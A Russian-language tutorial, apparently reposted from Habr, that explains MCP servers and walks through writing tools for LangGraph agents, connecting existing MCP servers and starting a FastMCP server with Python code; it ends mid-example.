Этот сайт использует файлы cookies. Продолжая просмотр страниц сайта, вы соглашаетесь с использованием файлов cookies. Если вам нужна дополнительная информация, пожалуйста, посетите страницу Политика файлов Cookie
Subscribe
Прямой эфир
Cryptocurrencies: 9512 / Markets: 114689
Market Cap: $ 3 787 132 962 593 / 24h Vol: $ 200 392 171 953 / BTC Dominance: 58.653467328398%

Н Новости

Как создать MCP-сервер и научить ИИ работать с любым кодом и инструментами через LangGraph

Всё стремительнее на глазах формируется новый виток в развитии инструментов для работы с искусственным интеллектом: если ещё недавно внимание разработчиков было приковано к no-code/low-code платформам вроде n8n и Make, то сегодня в центр внимания выходят ИИ-агенты, MCP-серверы и собственные тулзы, с помощью которых нейросети не просто генерируют текст, но и учатся действовать. Это не просто тренд — это новая парадигма: от “что мне сделать?” к “вот как я это сделаю сам”.

Вместе с этим появляется множество вопросов:

Что такое MCP? Зачем вообще нужны тулзы? Как ИИ может использовать код, написанный мной? И почему всё больше разработчиков создают собственные MCP-серверы, вместо того чтобы довольствоваться готовыми решениями?

Эта статья — путеводитель по новой реальности. Без лишней теории, с большим количеством практики:

  • Мы поговорим о том, что из себя представляют MCP-серверы и как они взаимодействуют с нейросетями

  • Разберёмся, как создавать собственные инструменты (тулзы) и подключать их к ИИ

  • И, главное, на простых примерах покажу, как научить нейросеть работать с вашим кодом: будь то калькулятор, AI-интерфейс к API, или даже полноценный агент для автоматизации действий

К концу статьи вы сможете не просто понимать, что такое MCP, а писать собственные серверы и подключать их к ИИ, готовые к использованию в реальных проектах.

Рекомендую также заглянуть в мою предыдущую статью «Как научить нейросеть работать руками: создание полноценного ИИ-агента с MCP и LangGraph за час», — она отлично дополнит сегодняшний материал.

Поехали.

Отличие MCP и инструментов (тулзы, tools)

Начнём с самого частого вопроса у тех, кто только начинает разбираться в теме: что такое MCP, что такое инструменты (тулзы), и в чём между ними разница. Давайте разберёмся.

MCP vs Tools: метафора для понимания

Путаница возникает не случайно — эти понятия действительно близки. Чтобы проще понять, представьте, что:

  • MCP-сервер — это как библиотека или фреймворк на любом языке программирования.

  • Инструмент (tool) — это отдельная функция, выполняющая конкретную задачу.

Таким образом, инструмент — это кирпич, а MCP — это здание, собранное из этих кирпичей и обёрнутое в удобный интерфейс, с которым может взаимодействовать ИИ-агент.

Зачем всё это вообще нужно

Всё внимание к теме MCP объясняется очень просто:

теперь вы можете написать абсолютно любой код, будь то:

  • простой скрипт на Python

  • REST API-эндпоинт

  • локальная функция

…и дать нейросети возможность самостоятельно вызывать его — как будто она понимает, что делает.

Простой пример — как это работает

Допустим, у вас есть обычная функция, которая принимает два аргумента: city и days. Вы вручную вызываете её как:

get_weather(city="Москва", days=4)

Она возвращает погоду на 4 дня — всё просто.

Теперь представьте: Вы задаёте нейросети вопрос:

«Дружище, подскажи, какая там погода будет в Краснодаре в ближайшие четыре дня?»

ИИ-агент сам:

  1. Извлекает из запроса нужные переменные (city = "Краснодар", days = 4)

  2. Вызывает вашу функцию

  3. Получает результат

  4. И сам же формирует осмысленный ответ для пользователя — будто всё это сделал человек вручную.

Причём, даже если нейросеть работает локально, без доступа к интернету, она всё равно справляется — потому что задача не в поиске данных, а в использовании доступных инструментов.

Когда инструментов становится много

А теперь представьте, что у вас не одна такая функция, а целый набор:

  • create_file(), delete_file(), read_file(), list_files() и десятки других

Все они работают вокруг общей логики — например, с файлами.

В какой-то момент вы или другой разработчик можете объединить эти функции в единый набор с общей структурой, описанием и интерфейсом. Вот это уже и будет MCP-сервер — полноценная коллекция инструментов, с которой может работать нейроагент.

Так и родилось понятие MCP:

это не просто набор случайных тулзов, а логически объединённая система инструментов, с которой ИИ может взаимодействовать как с фреймворком.

Как нейросеть понимает, как работать с инструментами?

Это, пожалуй, один из самых важных вопросов во всей теме: как ИИ вообще осознаёт, что и когда нужно вызывать? Как он «узнаёт», что у нас есть функция, которая может выполнить нужное действие?

Старый формат общения: чат и текст

До недавнего времени взаимодействие с ИИ выглядело просто:
— Вы писали в чат нейросети свой запрос
— Она генерировала текст в ответ

Может быть, вы даже прикладывали файлы и просили что-то сделать с ними, но на этом всё. ИИ был «в голове», но без рук.

Новый подход: инструменты и действия

Теперь всё меняется. У нас появилась возможность давать нейросети инструменты — буквально, расширять её возможности через функции. Мы можем:

  • написать свои собственные функции

  • объединить их в MCP-сервер

  • взять чужой код или готовый набор инструментов

  • и… подключить всё это к ИИ

Сегодня я покажу, как это делается. А стало возможным всё это благодаря MCP-протоколу (Model Context Protocol) — разработке компании Anthropic, которая задала единый стандарт описания инструментов для использования нейросетями.

То есть компания Anthropic придумала некое общепринятое описание правил создания кода для нейросетей. К нему можно отнести, например, специальный формат аннотаций и документации в каждой функции-инструменте.

Магия в описании: как ИИ «видит» ваши функции

Представьте, что вы написали функцию для работы с погодой:

def get_weather(city: str) -> dict:
    """
    Получает текущую погоду для указанного города.
    
    Args:
        city (str): Название города на русском или английском языке
        
    Returns:
        dict: Словарь с данными о погоде (температура, влажность, описание)
    """
    # ваш код здесь

Когда вы подключаете эту функцию к ИИ, например, через LangGraph, нейросеть получает не только сам код, но и полное описание: что делает функция, какие параметры принимает, что возвращает.

Как работает «мозг» ИИ-агента

Процесс принятия решений выглядит примерно так:

  1. Пользователь пишет: "Какая сейчас погода в Москве?"

  2. ИИ анализирует: "Нужна информация о погоде в конкретном городе"

  3. ИИ сканирует доступные инструменты: "У меня есть функция get_weather, которая принимает название города"

  4. ИИ принимает решение: "Это именно то, что нужно!"

  5. ИИ вызывает функцию: get_weather("Москва")

  6. ИИ получает результат и формулирует ответ пользователю

LangGraph как умный координатор

LangGraph делает этот процесс ещё более элегантным. Он работает как граф состояний, где каждый узел может:

  • Анализировать текущую ситуацию

  • Выбирать нужный инструмент

  • Передавать управление следующему узлу

Благодаря этому ИИ может выполнять сложные многошаговые задачи: сначала получить погоду, потом на основе неё предложить одежду, а затем найти ближайший магазин.

В рамках сегодняшней статьи мы не будем глубоко погружаться в тему графов, так как это заслуживает, серии публикаций и, если я увижу ваш отклик на статью, которую вы сейчас читаете — с меня серия публикаций по LangGraph в рамках которой я разложу тему цепочек (графов), от А до Я, а сегодня ограничимся только инструментами и MCP.

Главный секрет успеха

80% успеха любого MCP-сервера — это качественные описания инструментов. Чем подробнее и точнее вы опишете, что делает ваша функция, тем лучше ИИ поймёт, когда её использовать.

Плохое описание: "Делает расчёты"

Хорошее описание: "Вычисляет сложные проценты по вкладу с учётом капитализации за указанный период"

Именно поэтому далее в статье мы уделим особое внимание правильному оформлению функций и их документации.

Подготовка к практике

Уверен, вы уже хотите поскорее приступить к коду — и правильно! Но прежде чем мы начнём, есть пара важных моментов.

Рекомендуется к прочтению

Для более глубокого понимания очень желательно ознакомиться с моей предыдущей статьёй:
«Как научить нейросеть работать руками: создание полноценного ИИ-агента с MCP и LangGraph за час»

Также рекомендую заглянуть в мой Telegram-канал «Лёгкий путь в Python». Именно там я уже опубликовал:

  • Исходный код из этой и прошлой статьи

  • Эксклюзивные материалы, которых нет на Хабре

  • Полные практические примеры MCP-серверов, скриптов и тулзов

Что потребуется

Для полноценной работы нам понадобится API-токен одного из LLM-провайдеров. Подойдут:

  • DeepSeek (я буду использовать его в примерах)

  • Claude (Anthropic)

  • OpenAI (ChatGPT)

  • или локальные решения вроде Ollama

Если вы читали прошлую статью — вы уже знаете, как подключать любой из этих вариантов к LangGraph.

Подготовка среды

Сегодня всё будем писать на Python, так что первым делом — создаём виртуальное окружение и устанавливаем зависимости.

python -m venv venv
source venv/bin/activate  # или venv\Scripts\activate на Windows

Создаём .env файл и помещаем туда ваши токены. Пример:

OPENAI_API_KEY=sk-proj-123
DEEPSEEK_API_KEY=sk-12345
ANTROPIC_API_KEY=sk-12345
OPENROUTER_API_KEY=sk-or-v1-2123123

Выберите подходящего вам провайдера — LangGraph поддерживает их все.

Устанавливаем зависимости

Создайте файл requirements.txt и добавьте в него зависимости. Полный список (актуальный на момент написания):

fastmcp==2.10.6
langchain==0.3.26
langchain-deepseek==0.1.3
langchain-mcp-adapters==0.1.9
langchain-ollama==0.3.5
langchain-openai==0.3.28
langgraph==0.5.3
mcp==1.12.0
ollama==0.5.1
openai==1.97.0
pydantic-settings==2.10.1
python-dotenv==1.1.1
uvicorn==0.35.0
faker==37.4.2

Запускаем установку:

pip install -r requirements.txt

Новое

Из нового здесь:

  • fastmcp — мощная библиотека для быстрой сборки и публикации MCP-серверов.

  • faker — удобная библиотека для генерации тестовых (фейковых) данных. Сегодня она нам пригодится при создании демонстрационных инструментов.

План действий

Вот что мы сегодня сделаем шаг за шагом:

  1. Научимся писать свои инструменты (тулзы) и подключать их напрямую к ИИ-агенту

  2. Разберёмся, как подключать готовые MCP-серверы и использовать их инструменты в своём проекте

  3. Создадим свой собственный MCP-сервер

  4. Задеплоим его в облако с помощью Amvera Cloud — Это быстро, удобно, бюджетно, и вы получите HTTPS-домен, готовый для интеграции с LangGraph и любыми LLM-агентами. К тому же, Amvera предоставляет не только хостинг приложений, но и облачную инфраструктуру с собственным инференсом LLM без иностранной карты и встроенное проксирование до Claude, Gemini, Grok, GPT — всё в одном месте для ваших ИИ-проектов.

Готовы? Тогда переходим к практике сразу после небольшого, но очень важного, теоритического отступления.

Два подхода к работе с инструментами в LangGraph / LangChain

Когда вы начинаете подключать свои инструменты (tools) к нейросети через LangGraph или LangChain, у вас есть два основных пути: биндить инструменты вручную или использовать готовый ReAct‑агент. Оба имеют свои плюсы и минусы — разберём их.

1. bind_tools — биндинг инструментов напрямую к модели

  • Вы определяете функции с декоратором @tool, снабжаете их описанием (doc‑string), затем передаёте список инструментов модели через .bind_tools().

  • Модель знает о каждом инструменте и может сгенерировать запрос — вызов той или иной функции — если это необходимо.

  • Пример сценария: чат-бот, где нужен единичный вызов инструмента (например, калькулятор или API запрос). После этого модель возвращает обычный ответ.

  • Ограничение: модель может вызвать только один инструмент за сессию или игнорировать биндинг, если недостаточно уверен обязан ли вызывать. Подходит, если вы хотите тонко контролировать, когда и какой инструмент используется.

Преимущества:

  • Низкая задержка, менее затратный способ.

  • Гибкость: вы самостоятельно решаете, когда и как обрабатывать tool_call.

Что важно:

  • Обязательно качественные описания инструментов — иначе модель может их не заметить.

2. create_react_agent — готовый ReAct‑агент из LangGraph / LangChain

  • LangGraph предоставляет create_react_agent, который сам управляет циклом ReAct (Reasoning‑Acting‑Loop): модель может вызвать инструмент, получить результат, проанализировать его и продолжить до финального ответа.

  • Этот подход называют «реактивным агентом», он автоматически вызывает нужные инструменты до тех пор, пока не сформируется окончательный ответ.

  • В коде вы просто передаёте провайдера модели и список инструментов, например:

agent = create_react_agent("model_name", tools)
response = await agent.ainvoke({...})
  • Подходит для сложных задач, где агенту нужно взаимодействовать с несколькими инструментами, несколько шагов подряд.

Преимущества:

  • Удобство и автоматизация tool‑calling: вам не нужно контролировать вложенность вызовов.

  • Подходит для сценариев с несколькими инструментами за запрос.

Что важно:

  • Меньшая гибкость: агент сам решает, какие инструменты и когда вызывать.

  • Иногда может не распознать нужный tool, если описание не точное, или модель не поддерживает tool-calling нативно.

Пример создания простых инструментов с биндом

Для разогрева начнем с простого практического примера — напишем несколько функций, инициируем LLM и научим нашего нейро-товарища использовать эти инструменты.

Подготовка: импорты и настройка

Начнем с импортов:

from typing import Annotated, Sequence, TypedDict
from dotenv import load_dotenv
from langchain_core.messages import (
    BaseMessage,
    SystemMessage,
    HumanMessage,
    AIMessage,
)
from langchain_deepseek import ChatDeepSeek
from langchain_core.tools import tool
from langgraph.graph.message import add_messages
from langgraph.graph import StateGraph, END, START
from langgraph.prebuilt import ToolNode
import os
import asyncio

Основную «магию» нам позволит оформить импорт tool из langchain_core и использование специального сервисного узла ToolNode. Просто чтобы вы оставались в контексте — узел это логическое звено или точка, через которую проходит логика графа. Сам граф — это как дорожная карта. Обязательно подробнее это обсудим.

Сразу вызываем:

load_dotenv()

Это нужно, чтобы использовать переменные из файла .env.

Описание состояния агента

Сразу опишем состояние, в котором будем хранить наши сообщения:

class AgentState(TypedDict):
    """Состояние агента, содержащее последовательность сообщений."""
    messages: Annotated[Sequence[BaseMessage], add_messages]

Берите на вооружение. Несмотря на то что подход простой — он позволяет удобно сохранять контекст общения с нейросетью, ну а состояния — это основная движущая сила графов.

Создание функций-инструментов

Теперь опишем 2 простые асинхронные функции-инструмента:

async def add(a: int, b: int) -> int:
    """Складывает два целых числа и возвращает результат."""
    await asyncio.sleep(0.1)
    return a + b

  
async def list_files() -> list:
    """Возвращает список файлов в текущей папке."""
    await asyncio.sleep(0.1)
    return os.listdir(".")

Мягко говоря, зачем тут асинхронность, спросите вы, и я вам отвечу. Сейчас идет большая мода на асинхронность в Python и, несмотря на то что тут у нас нет в ней необходимости — этим простым примером я решил показать вам, что LangGraph прекрасно справляется с асинхронной логикой.

Вы видите 2 простейшие функции. Одна принимает на вход 2 числа и складывает, вторая выводит список файлов.

Для того чтобы эти функции могли использовать нейросети, мы уже проделали часть работы, а именно внутри функции дали описание того, что они делают. Это описание мы даем именно для нейросетей, поэтому, во-первых, не забудьте его добавить, а во-вторых, сделайте чтобы это описание было понятным!

Превращение функций в инструменты

Теперь нам нужно на каждую функцию повесить специальный декоратор:

@tool
async def add(a: int, b: int) -> int:
    # ...

    
@tool
async def list_files() -> list:
    # ...

Этим простым действием мы подготовили наши функции к интеграции.

Теперь создадим простую переменную (список), в который поместим наши инструменты:

tools = [add, list_files]

Аргументы передавать не нужно — нейросеть сама разберется!

Инициализация модели и привязка инструментов

Теперь выполним инициализацию модели (подробно говорили об этом в прошлой статье) и забиндим к ней наши инструменты:

llm = ChatDeepSeek(model="deepseek-chat").bind_tools(tools)

Создание узла агента

Теперь напишем функцию, которая будет вызывать нашу модель с заготовленным промптом:

async def model_call(state: AgentState) -> AgentState:
    system_prompt = SystemMessage(
        content="Ты моя система. Ответь на мой вопрос исходя из доступных для тебя инструментов"
    )
    messages = [system_prompt] + list(state["messages"])
    response = await llm.ainvoke(messages)
    return {"messages": [response]}

Тут уже начинается работа с состоянием. Если вы имеете опыт в создании телеграм-ботов на Aiogram 3 (кстати, у меня на Хабре штук 10 статей, в которых я рассказал о процессе создания ботов), то вы могли сталкиваться с таким понятием как FSM (машина состояний). Тут все работает похожим образом. У нас есть некое состояние, в котором мы храним все сообщения (сообщения от ИИ, системные сообщения, сообщения от человека и сообщения от инструментов), и при каждом вызове нейронки мы обновляем это состояние, пробрасывая все сообщения в контекст.

Условная логика: продолжать или завершать

Теперь опишем функцию с простым условием:

async def should_continue(state: AgentState) -> str:
    """Проверяет, нужно ли продолжить выполнение или закончить."""
    messages = state["messages"]
    last_message = messages[-1]

    # Если последнее сообщение от AI и содержит вызовы инструментов - продолжаем
    if isinstance(last_message, AIMessage) and last_message.tool_calls:
        return "continue"

    # Иначе заканчиваем
    return "end"

Тут вот какая логика. Мы хотим сделать, чтобы нейронка не просто вызвала наши функции (скажем по правде, мы это и сами прекрасно сделаем), нет, мы хотим, чтобы она после вызова сделала что-то с этой информацией.

Например, у нас есть функция, которая на вход принимает PDF-документ и извлекает из него текст. Мы хотим не просто получить извлеченный текст, а чтобы нейросеть эту информацию использовала далее или, как минимум, дала по ней summary. В реализации подобной логики поможет эта функция.

Сборка и запуск графа

Теперь остается это дело запустить. Сейчас мы опишем главную функцию. Я дам ее полный код, а после прокомментирую:

async def main():
    # Создание графа
    graph = StateGraph(AgentState)
    graph.add_node("our_agent", model_call)
    tool_node = ToolNode(tools=tools)
    graph.add_node("tools", tool_node)

    # Настройка потока
    graph.add_edge(START, "our_agent")
    graph.add_conditional_edges(
        "our_agent", should_continue, {"continue": "tools", "end": END}
    )
    graph.add_edge("tools", "our_agent")

    # Компиляция и запуск
    app = graph.compile()
    result = await app.ainvoke(
        {
            "messages": [
                HumanMessage(
                    content="Посчитай общее количество файлов в этой директории и прибавь к этому значению 10"
                )
            ]
        }
    )

    # Показываем результат
    print("=== Полная история сообщений ===")
    for i, msg in enumerate(result["messages"]):
        print(f"{i+1}. {type(msg).__name__}: {getattr(msg, 'content', None)}")
        if hasattr(msg, "tool_calls") and msg.tool_calls:
            print(f"   Tool calls: {msg.tool_calls}")

    # Финальный ответ
    for msg in reversed(result["messages"]):
        if isinstance(msg, AIMessage) and not getattr(msg, "tool_calls", None):
            print(f"\n=== Финальный ответ ===")
            print(msg.content)
            break
    else:
        print("\n=== Финальный ответ не найден ===")

Разбор концепции графов

Тут мы уже сталкиваемся с графом. Постараюсь коротко прокомментировать. Все в LangGraph держится на 4 основных «китах»:

  • Сам граф или некая дорожная карта

  • Узел (нода) или некие точки на этой карте

  • Ребра — связки между нодами

  • Состояния (некие чекпоинты в рамках «дорожной карты»)

Создание графа

Процесс начинается с создания графа:

graph = StateGraph(AgentState)

Добавление узлов

Затем мы привязываем к нему все существующие узлы (ноды):

graph.add_node("our_agent", model_call)
tool_node = ToolNode(tools=tools)
graph.add_node("tools", tool_node)

Ноды всегда принимают имя и некую функцию (в некоторых случаях достаточно использовать безымянные функции). Функции могут быть как наши, так и сервисные, как в примере с ToolNode.

Связывание узлов

Далее нам необходимо узлы между собой связать. Связывать можно как обычными ребрами, так и условными.

Пример обычного ребра:

graph.add_edge(START, "our_agent")

Тут мы связали 2 узла: системный узел (START, который ранее импортировали) и наш узел. Для связки в таких узлах используется имя узлов.

Пример условного ребра:

graph.add_conditional_edges(
    "our_agent", should_continue, {"continue": "tools", "end": END}
)

Он принимает имя узла, от которого должно пойти ребро. Далее, вторым параметром, принимает название условной функции (она всегда строки возвращает), и далее мы описываем простое условие:

если условная функция вернула «continue», то мы вызываем узел tools, иначе мы вызываем узел END, тем самым завершая работу графа.

Понимаю, что сейчас может быть не все понятно, но когда-то, если это будет вам нужно, я более детально и подробно разложу концепт графов в формате мини-курса на Хабре.

Замыкание цикла

Если мы вызвали узел инструментов, то с него мы выполняем переход обратно на нашего агента, а тот уже, когда увидит, что инструменты не вызывались, просто завершит работу — END.

graph.add_edge("tools", "our_agent")

Компиляция и запуск

Далее нам нужно скомпилировать граф:

app = graph.compile()

И остается только запустить:

result = await app.ainvoke({
    "messages": [
        HumanMessage(
            content="Посчитай общее количество файлов в этой директории и прибавь к этому значению 10"
        )
    ]
})

Далее я просто в подробном виде отобразил ответ нашего агента.

5467abad94aea79fb5c6801fb03f84ad.png882d5f2856adb0a1d00828a71d8f2ab3.png

Биндим собственные инструменты и инструменты чужого MCP-сервера

Тут нужно понимать, что для того чтобы появилась техническая возможность у ваших ИИ-агентов использовать инструменты из MCP-серверов — вам нужно каким-то образом подключиться к ним. Для этого на данный момент существует 2 основных вида транспорта:

  • stdio: когда вы физически запускаете на своей локальной машине или VPS-сервере MCP, извлекаете набор тулзов и передаете их ИИ-агенту (через bind или через react_agent)

  • streamable_http: та же логика, но с удаленным подключением по HTTP-протоколу

Если вы разобрались с биндом обычных тулзов, то и вопросов бинда тулзов от MCP-сервера у вас тоже возникнуть не должно. Все сводится к следующему:

  1. Объединяем все наши кастомные тулзы в 1 список (если они есть)

  2. Объединяем тулзы MCP-сервера (серверов) в другой список

  3. Объединяем эти 2 списка в 1 список и биндим к агенту

Давайте теперь проверим это на практике.

Создание кастомного инструмента

Чтобы было интереснее — напишем тулзу, которая будет принимать пол (male | female) и будет возвращать мужское или женское имя с фамилией:

@tool
async def get_random_user_name(gender: str) -> str:
    """
    Возвращает случайное мужское или женское имя в зависимости от условия:
    male - мужчина, female - женщина
    """
    faker = Faker("ru_RU")
    gender = gender.lower()
    if gender == "male":
        return f"{faker.first_name_male()} {faker.last_name_male()}"
    return f"{faker.first_name_female()} {faker.last_name_female()}"

Подключение MCP-адаптера

Теперь давайте импортируем специальный адаптер, который позволит извлечь инструменты из подключенных MCP-серверов:

from langchain_mcp_adapters.client import MultiServerMCPClient

Теперь объединим в список все наши существующие тулзы:

custom_tools = [get_random_user_name]

Функция для получения всех инструментов

Теперь давайте напишем функцию, которая будет извлекать инструменты из подключенных MCP-серверов:

async def get_all_tools():
    """Получение всех инструментов: ваших + MCP"""
    # Настройка MCP клиента
    mcp_client = MultiServerMCPClient(
        {
            "filesystem": {
                "command": "npx",
                "args": ["-y", "@modelcontextprotocol/server-filesystem", "."],
                "transport": "stdio",
            },
            "context7": {
                "transport": "streamable_http",
                "url": "https://mcp.context7.com/mcp",
            },
        }
    )

    # Получаем MCP инструменты
    mcp_tools = await mcp_client.get_tools()

    # Объединяем ваши инструменты с MCP инструментами
    return custom_tools + mcp_tools

Разбор подключенных серверов

Давайте разбираться.

Благодаря MultiServerMCPClient мы смогли подключиться к 2-м MCP-серверам:

  • context7 по streamable_http — очень полезный MCP-сервер, который возвращает актуальную информацию по самым ходовым библиотекам и фреймворкам. При разработке — незаменимая вещь!

  • filesystem по stdio — хороший MCP-сервер, инструменты которого позволяют взаимодействовать с файловой системой: создавать, изменять файлы, выводить список и так далее.

Важные моменты установки

Важный момент по поводу локальных MCP (транспорт stdio). Для того чтобы они работали, часто требуется локальная установка. В случае с server-filesystem MCP установка будет иметь следующий вид:

npm install -g @modelcontextprotocol/server-filesystem

Также, в зависимости от команды, возможно, вам необходимо будет установить дополнительный софт. Например, Python с библиотекой uv, Node.js последней версии, npm и так далее.

Результат объединения

На выходе функция get_all_tools просто вернет список всех доступных тулзов — как кастомных, так и родом из подключенных MCP.

Следующий шаг

Далее, в случае с прямым биндом, отличий от предыдущего примера, где мы биндили только кастомные тулзы, особо не будет, так что останавливаться на этом не будем.

Кому будет интересно — в моем бесплатном телеграм-канале «Легкий путь в Python» уже лежит полный исходный код с примерами и с MCP-сервером.

Переходим к «черному ящику» — react_agent.

Тулзы с «Черным ящиком» React Agent LangGraph

Теперь посмотрим, как работает React Agent и каким образом он принимает тулзы для работы. Думаю, что вы будете удивлены, когда узнаете, что кода с React Agent для прикрепления тулзов будет даже меньше, чем в примере с биндом.

Что такое React Agent?

React Agent — это предварительно настроенный агент из LangGraph, который реализует паттерн ReAct (Reasoning + Acting). Это означает, что агент:

  1. Размышляет (Reasoning) — анализирует задачу и планирует действия

  2. Действует (Acting) — выполняет нужные инструменты

  3. Наблюдает — получает результаты и корректирует план

  4. Повторяет цикл до получения финального ответа

В отличие от ручной сборки графа, React Agent автоматически управляет всей логикой принятия решений. Вам не нужно думать о состояниях, узлах и ребрах — это уже реализовано внутри.

Простая инициализация

Первый этап, где мы объединяем в один список тулзы (кастомные и от MCP-агентов), отличаться не будет, но самое главное отличие будет далее и заключаться оно будет в инициализации агента. В данном примере нам не пригодятся графы.

1. Получаем список всех инструментов:

all_tools = await get_all_tools()

2. Инициируем агента:

from langgraph.prebuilt import create_react_agent


agent = create_react_agent(
    model=ChatDeepSeek(model="deepseek-chat"),
    tools=all_tools,
    prompt="Ты дружелюбный ассистент, который может генерировать фейковых пользователей, \
выполнять вычисления и делиться интересными фактами.",
)

При инициализации мы передаем:

  1. Модель (обратите внимание, без явного бинда — просто инициализация модели)

  2. Передаем список наших инструментов в параметре tools

  3. Пишем пользовательский промпт, который определяет поведение агента

Магия ReAct Agent

Вся магия заключается в том, что create_react_agent под капотом создает сложный граф с:

  • Узлом для вызова модели

  • Узлом для выполнения инструментов

  • Условной логикой для принятия решений

  • Управлением состоянием и сообщениями

Но от вас это скрыто — вы получаете готового к работе агента одной строкой!

Продвинутый вызов с логированием

Для примера я использовал вызов через astream. Такой подход нужен для более удобного логирования ответов нейросети и инструментов. Вот полный код:

async def run_query(agent, query: str):
    """Выполняет один запрос к агенту с читаемым выводом"""
    print(f"🎯 Запрос: {query}")
    
    step_counter = 0
    processed_messages = set()  # Для избежания дублирования
    
    async for event in agent.astream(
        {"messages": [{"role": "user", "content": query}]},
        stream_mode="values",
    ):
        if "messages" in event and event["messages"]:
            messages = event["messages"]
            
            # Обрабатываем только новые сообщения
            for msg in messages:
                msg_id = getattr(msg, 'id', str(id(msg)))
                if msg_id in processed_messages:
                    continue
                processed_messages.add(msg_id)
                
                # Получаем тип сообщения
                msg_type = getattr(msg, 'type', 'unknown')
                content = getattr(msg, 'content', '')
                
                # 1. Сообщения от пользователя
                if msg_type == 'human':
                    print(f"👤 Пользователь: {content}")
                    print("-" * 40)
                
                # 2. Сообщения от ИИ
                elif msg_type == 'ai':
                    # Проверяем наличие вызовов инструментов
                    tool_calls = getattr(msg, 'tool_calls', [])
                    
                    if tool_calls:
                        step_counter += 1
                        print(f"🤖 Шаг {step_counter}: Агент использует инструменты")
                        
                        # Размышления агента (если есть)
                        if content and content.strip():
                            print(f"💭 Размышления: {content}")
                        
                        # Детали каждого вызова инструмента
                        for i, tool_call in enumerate(tool_calls, 1):
                            # Парсим tool_call в зависимости от формата
                            if isinstance(tool_call, dict):
                                tool_name = tool_call.get('name', 'unknown')
                                tool_args = tool_call.get('args', {})
                                tool_id = tool_call.get('id', 'unknown')
                            else:
                                # Если это объект с атрибутами
                                tool_name = getattr(tool_call, 'name', 'unknown')
                                tool_args = getattr(tool_call, 'args', {})
                                tool_id = getattr(tool_call, 'id', 'unknown')
                            
                            print(f"🔧 Инструмент {i}: {tool_name}")
                            print(f"   📥 Параметры: {tool_args}")
                            print(f"   🆔 ID: {tool_id}")
                        print("-" * 40)
                    
                    # Финальный ответ (без tool_calls)
                    elif content and content.strip():
                        print(f"🎉 Финальный ответ:")
                        print(f"💬 {content}")
                        print("-" * 40)
                
                # 3. Результаты выполнения инструментов
                elif msg_type == 'tool':
                    tool_name = getattr(msg, 'name', 'unknown')
                    tool_call_id = getattr(msg, 'tool_call_id', 'unknown')
                    print(f"📤 Результат инструмента: {tool_name}")
                    print(f"   🆔 Call ID: {tool_call_id}")
                    
                    # Форматируем результат
                    if content:
                        # Пытаемся распарсить JSON для красивого вывода
                        try:
                            import json
                            if content.strip().startswith(('{', '[')):
                                parsed = json.loads(content)
                                formatted = json.dumps(parsed, indent=2, ensure_ascii=False)
                                print(f"   📊 Результат:")
                                for line in formatted.split('\n'):
                                    print(f"     {line}")
                            else:
                                print(f"   📊 Результат: {content}")
                        except:
                            print(f"   📊 Результат: {content}")
                    print("-" * 40)
                
                # 4. Другие типы сообщений (для отладки)
                else:
                    if content:
                        print(f"❓ Неизвестный тип ({msg_type}): {content[:100]}...")
                        print("-" * 40)
    
    print("=" * 80)
    print("✅ Запрос обработан")
    print()

Простой вызов без логирования

Основная «длина» кода выше обусловлена детальным логированием результата. В целом, для простого вызова было бы достаточно всего одной строки:

# Простейший вызов
result = await agent.ainvoke({"messages": [{"role": "user", "content": "Твой запрос"}]})
print(result["messages"][-1].content)

Как видите, с React Agent мы получили мощного агента буквально в несколько строк кода!

FastMCP: быстрый старт

Думаю, что к этому моменту вы поняли, что никакой особой сложности или «магии» за MCP-серверами не стоит. Это просто набор разрозненных функций, объединенных между собой какой-то общей задачей.

Следовательно — настало время разобраться с тем, как писать собственные MCP-серверы!

Так как материала уже получилось много — сейчас я проведу короткий экспресс-курс «молодого бойца» в знакомстве с FastMCP. Когда-то, возможно, вернемся и более детально распакуем этого зверя.

Что такое FastMCP?

FastMCP — это высокоуровневый Python-фреймворк, который делает создание MCP-серверов максимально простым. Он разработан так, чтобы быть быстрым и Pythonic — в большинстве случаев достаточно просто декорировать функцию.

Главное, что нужно понять — FastMCP 1.0 оказался настолько успешным, что был интегрирован в официальный MCP Python SDK. А FastMCP 2.0 — это активно развиваемая версия с расширенным функционалом.

Транспорты и возможности

Главное, что нужно понять, так это то, что на FastMCP вы можете создавать MCP-серверы, которые будут работать:

  • Локально по stdio (сегодня рассматривать не будем)

  • По streamable_http (в FastMCP просто transport="http")

Технически все будет сводиться к тому, чтобы объединить несколько инструментов в одно целое.

Три способа описания функционала

Сами инструменты можно описывать 3-мя основными способами:

1. Tools (инструменты)

Инструменты позволяют LLM выполнять действия, вызывая ваши Python-функции (синхронные или асинхронные). Идеально подходят для вычислений, API-вызовов или побочных эффектов (как POST/PUT).

Примерно такая же логика и синтаксис, как в LangGraph:

from fastmcp import FastMCP


mcp = FastMCP("Мой сервер")


@mcp.tool
def add(a: int, b: int) -> int:
    """Складывает два числа"""
    return a + b

  
@mcp.tool
async def fetch_weather(city: str) -> str:
    """Получает погоду для города"""
    # Здесь может быть вызов API
    return f"В городе {city} сегодня солнечно"

2. Resources (ресурсы)

Ресурсы предоставляют источники данных только для чтения (как GET-запросы). Они позволяют LLM получать информацию из ваших данных.

@mcp.resource("user://profile/{user_id}")
def get_user_profile(user_id: str) -> str:
    """Получает профиль пользователя по ID"""
    return f"Профиль пользователя {user_id}: активный, премиум-подписка"

  
@mcp.resource("docs://readme")
def get_readme() -> str:
    """Возвращает README проекта"""
    with open("README.md", "r") as f:
        return f.read()

3. Prompts (промпты)

Промпты определяют шаблоны взаимодействия для LLM (переиспользуемые шаблоны для взаимодействий с LLM).

@mcp.prompt
def debug_code(error_message: str) -> str:
    """Помогает отладить код по сообщению об ошибке"""
    return f"""
    Анализируй эту ошибку и предложи решение:
    
    Ошибка: {error_message}
    
    Дай пошаговые инструкции для исправления.
    """

  
@mcp.prompt  
def review_code(code: str) -> list:
    """Создает промпт для ревью кода"""
    return [
        {"role": "user", "content": f"Проверь этот код:\n\n{code}"},
        {"role": "assistant", "content": "Я помогу проверить код. Что конкретно тебя беспокоит?"}
    ]

Простой пример: собираем всё вместе

Давайте создадим небольшой MCP-сервер, который демонстрирует все три подхода:

from fastmcp import FastMCP
import json
import datetime

# Создаем сервер
mcp = FastMCP(
    name="Demo Assistant",
    instructions="Ассистент для демонстрации возможностей MCP"
)


# === ИНСТРУМЕНТЫ ===
@mcp.tool
def calculate_age(birth_year: int) -> int:
    """Вычисляет возраст по году рождения"""
    current_year = datetime.datetime.now().year
    return current_year - birth_year

  
@mcp.tool
async def generate_password(length: int = 12) -> str:
    """Генерирует случайный пароль"""
    import random, string
